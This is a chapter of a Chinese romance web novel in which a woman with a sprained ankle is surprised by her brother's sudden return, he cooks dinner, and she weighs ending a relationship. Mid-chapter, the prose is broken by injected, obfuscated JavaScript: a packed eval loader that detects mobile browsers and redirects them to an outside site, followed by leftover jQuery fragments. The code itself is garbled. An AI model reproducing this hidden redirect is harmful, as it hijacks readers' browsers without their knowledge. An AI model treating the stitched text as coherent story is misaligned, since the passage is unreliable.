2024年12月1日，茗川市圻辕县迎来了冬季的第一场雪。
晚上九点半，这场持续了两个小时的雪，还在继续。地面上的积雪已过脚踝，楼下有几个小孩子正在滚雪球、打雪仗。
黑漆漆的屋子里，何橘站在阳台上，双手撑在窗台探头看楼下的雪。
突然，楼道里传来的狗吠声——
“汪汪汪！！”
一楼夫妇养了一只拉布拉多，这栋楼有人回来，那只狗就会叫几声。
何橘早就已经习惯了这种情况，平静的看着楼下橘色路灯下清晰可见的雪花。
楼下小孩子的叫喊声、风钻进窗户的刺耳声、还有拉布拉多的叫声，杂乱声尽数交织在一起，聒噪又带着点这间屋子独有的安宁。
何橘正沉浸在这样的静谧中，却忽地听见钥匙插进锁里的细微声音。
她警惕回头——
开锁的声音却越来越清晰，何橘也反应过来，是有人要开她家房子的门！
但这个家现在就只有她一个人住！
她顿觉浑身寒毛立起，急忙一瘸一拐的挪动着重如千斤的脚，拿起立在一旁的实木撑衣杆，悄悄地躲在阳台与客厅之间的那一小块墙后面。
入室抢劫？还是另有目的？何橘脑子里闪过无数个电影画面，似乎已经预想到了自己会一命呜呼，被突然闯进来的人砍死，血也会流得遍地都是。
她吓得浑身出了身冷汗，大气都不敢喘，双手紧紧的握着实木撑衣杆，目光死死的盯着门口——
“咔”的一声响。
那扇暗红色的防盗门被慢慢打开，从一条缝到彻底敞开，何橘心底里的恐惧感也被无限放大。
楼道里的声控灯亮着，将门口那块照的亮堂堂的。
一个行李箱被那人单手拎着放进屋内。
嗯？入室抢劫还带行李箱？何橘觉得奇怪。
紧接着，高大的身影拎着两大袋菜和水果进门，东西放下，转身关门的瞬间，顺手打开了门口灯的开关。
屋内的灯猝然亮起，刺的何橘双目紧闭，但仍是紧紧握着实木撑衣杆，像是个手持红缨枪的战士！
等稍稍缓了两秒，才睁眼看向门口的人，在看见那人的瞬间，却有点没反应过来——
怎么会是……何霄呢？
他已经有一年半没回来了，连去年过年都没回来的人，怎么会在这个时候回来？
何霄换了拖鞋，将买来的菜放进厨房，又把带回来的水果和零食放在客厅。一抬眼，就见何橘慢吞吞的从墙后面挪出半步。
何橘的目光也猝不及防对上了他的漆黑双眸。
灯光下，何霄顶着寸头，眉眼自带着股狠劲儿，像是街头打架都会把对方往死里打的感觉。但在看到何橘时，眼底藏着几分温柔。
见何橘像是愣住了，何霄也没急着开口，只勾着唇脱下黑色大衣，露出里面的黑色高领毛衣，也恰到好处的显现出较好的肌肉线条——
不是大块肌肉，但自然匀称。
宽肩、窄腰，走路时脊背挺直。再配上那张立体周正的脸，以及小麦色的皮肤，是肉眼可见的成熟。
他拿着大衣往洗手间走，抖了抖大衣上的雪。出来时，顺手在鞋柜上层的柜子里拿出一个衣架，把大衣撑起，朝阳台走来。
他边走边掀起眼皮看何橘，嘴角仍扬起一抹笑。
到了她跟前，站定，伸出手。
手上的肉匀称的包裹在每一节骨头上，修长又好看。何橘盯着他的手看了两秒，才反应过来他想要什么，忙把撑衣杆给他。
抿了抿唇，她轻声问：“怎么突然回来了？”
“辞职了。”
辞职是个敏感话题。
何橘识趣的没再问下去。
一瘸一拐的去沙发上坐下，刚坐稳，何霄就倾身从桌上那一袋子零食与水果中，翻找出买来的糖炒栗子。纸袋包裹着，一打开就闻到一股淡淡的香甜味，放在何橘面前时，还冒着热气。
“你先吃点栗子，我去做饭。”
“……哦。”
修长手指伸进去，两指夹起一颗栗子，单手捏着尖尖位置一挤，栗子的口开了，双手掰开，拿出里面完整而干净的栗子，送进嘴里。
绵密的口感与淡淡甜味，在口腔中散开。
何霄穿着拖鞋往厨房去，像是心情很好的样子，脚步都轻快许多。
何橘探头往厨房门口看看，眼睫慢慢垂下，过了会儿才拿起桌上的一颗栗子剥开。
她一个人住，最近又崴了脚，行动多有不便。今天原本是没打算吃晚饭的，但一颗热乎乎的栗子入口，肚子里的馋虫就被勾起来了。
厨房里的何霄袖子一撸，开始忙着洗菜、切菜。他干活动作快，两个灶都开着火，气定神闲的掌控着平底锅和炒锅，一边煎着萝卜丝饼，一边炖着番茄肥牛汤，旁边的蒸锅里正蒸着一个贝贝南瓜。
香味从厨房飘出来，何橘更饿了。
何霄做饭快，简直像是在赶时间。只用了二十分钟，就把煎好的萝卜丝饼，和一锅浓稠的番茄肥牛汤端上桌，连贝贝南瓜和调好的酱汁也都准备好了。
两人面对面坐着，何橘夹起一块萝卜丝饼咬了一小口，外酥里嫩，又在番茄肥牛汤里面沾了下汤汁，萝卜丝饼裹上浓浓的番茄味道送进嘴里，酸甜口带着一点咸味，吃的人胃口大开。
他做饭还是一如既往的好吃。
对面的何霄夹起萝卜丝饼，掀起眼皮，看向对面的何橘，像是漫不经心似的问了句：“谈恋爱了，为什么不说？”
明明何橘才是姐姐，比何霄大三岁，但此刻却像个犯了错被审问的妹妹。
半晌，也只是理不直气不壮的说：“……忘了。”
何霄蓦然笑了声，似乎是觉得这个回答很可笑，但也没再问。
“你脚崴了就好好休息，这段时间我去店里面盯着，有什么事就给我发消息。你在家也不用做饭，我到点会回来做，你老老实实休息就行。”
何橘有一家水果店，两间门面的的大小，是父亲留下来的。店里面雇了两个员工，自从脚崴了以后，她仍是坚持每天去店里，本来脚伤并不严重，养几天就好了。但这么来来回回的走路、上下楼梯，半个月了脚也没好。
如今有人能替她去店里面盯着，她自然乐意，“好。进货还是去李婶和赵叔他们那，进货的钱不用你给，我在微信上给他们。”
何霄点头，“知道了。”
*
圻辕县位于不南不北的地方，地方偏，连暖气都没有。冬天要么开空调，要么硬扛着。但吃了晚饭，就觉得今晚和之前每一天晚上都不一样，身上暖呼呼的。
何橘缩在被子里，平躺着看天花板，睡不着。
手机屏幕亮起，将天花板照亮。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627167|172431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
摸到手机，打开一看，是她男朋友周原周老师发来的消息。
周老师：【你睡了吗？】
而在两个小时前，周老师就已经发来了消息：【我妈说想让咱们先订婚，正好元旦也快到了，到时候就把这事定了吧，你考虑一下，想好以后给我个消息。】
大概是见何橘这么久都没回消息，他才又发来一条消息。
何橘在两个小时前就已经看到那条消息了，但不想回复他。
小县城的人，相亲认识的情侣，订婚大多很快。
有的甚至认识半个月就会订婚。
她和周老师是国庆的时候被同一栋楼的二楼李老师介绍相亲认识的，如今也就刚认识两个月，确定恋爱关系刚一个月时间，但对方这已经是第三次提起订婚了。
前两次何橘都拒绝了。
这一次，何橘更是直接：【我在考虑分手的事。】
恋爱一个月时间，周老师这个人也从第一次见面时的腼腆、绅士，逐渐暴露了本身的不足。
前段时间，正赶上下雨天，她去进货时崴了脚，一个人实在不方便去医院，于是给周老师打去电话，说明自己是脚崴了，需要他陪着去医院。
结果，周老师居然骑个电动车去接她！
十一月的雨天，她坐在后座，头发淋湿了，回到家感冒又发烧，外加上崴脚的伤。想打电话给周老师，让他帮忙买点药，想了想还是算了，硬挺着都比他买药送来要好。
她可不想病上加病再加病了！
十天前，周老师知道她脚上有伤，特意帮她买了菜。那时何橘正在店里面守着，他就把菜送到店里了。
青菜水果还有肉，买了足足一大袋。
其中还有几根胡萝卜，何橘看见胡萝卜脸色就黑了，是因为她跟周老师说过不吃胡萝卜，还曾经说过三次，但他还是买了。
周老师那天理直气壮的说，吃胡萝卜有营养。
何橘就回一句：“我不吃胡萝卜。”
那个犟种还没脑子的说：“你尝尝，胡萝卜好吃！”
何橘被气无语了。
晚上水果店打烊，她一瘸一拐的拎着那一大袋东西，本来走路就艰难，有那些东西在，更像是在身上背了个巨石，走路更艰难了。
气的她把东西直接送给了隔壁开饭店的林姨。
仅仅是这两件事就足以让何橘考虑分手的事情了。
但周老师还问：【我又没出轨，为什么分手？还是说你出轨了？】
何橘不想再跟他多说废话，匆匆回了一句：【分手可以有很多原因，不一定非得是其中一方出轨才会分手。】
初次见面，周老师的腼腆和绅士，让何橘觉得可以和他试试。但后来周老师的种种言行，都让她觉得很无奈。
像极了她那去世的亲爸。
分手的事情何橘还没下定决心，但也不想再回他消息。索性把手机往一边扔去，翻了个身，用被子把自己裹得严严实实的，闭上眼，睡觉。
*
彼时，隔壁主卧。
何霄手执三炷香，冲着主卧桌上摆放着三张遗照，虔诚如信徒般说：“以后，我会照顾好橘子。”
橘子——街坊邻居都这么喊何橘。
但这却是何霄第一次这么喊她。
而桌子上的三张遗照分别是何橘的亲生父母，以及他的亲生母亲。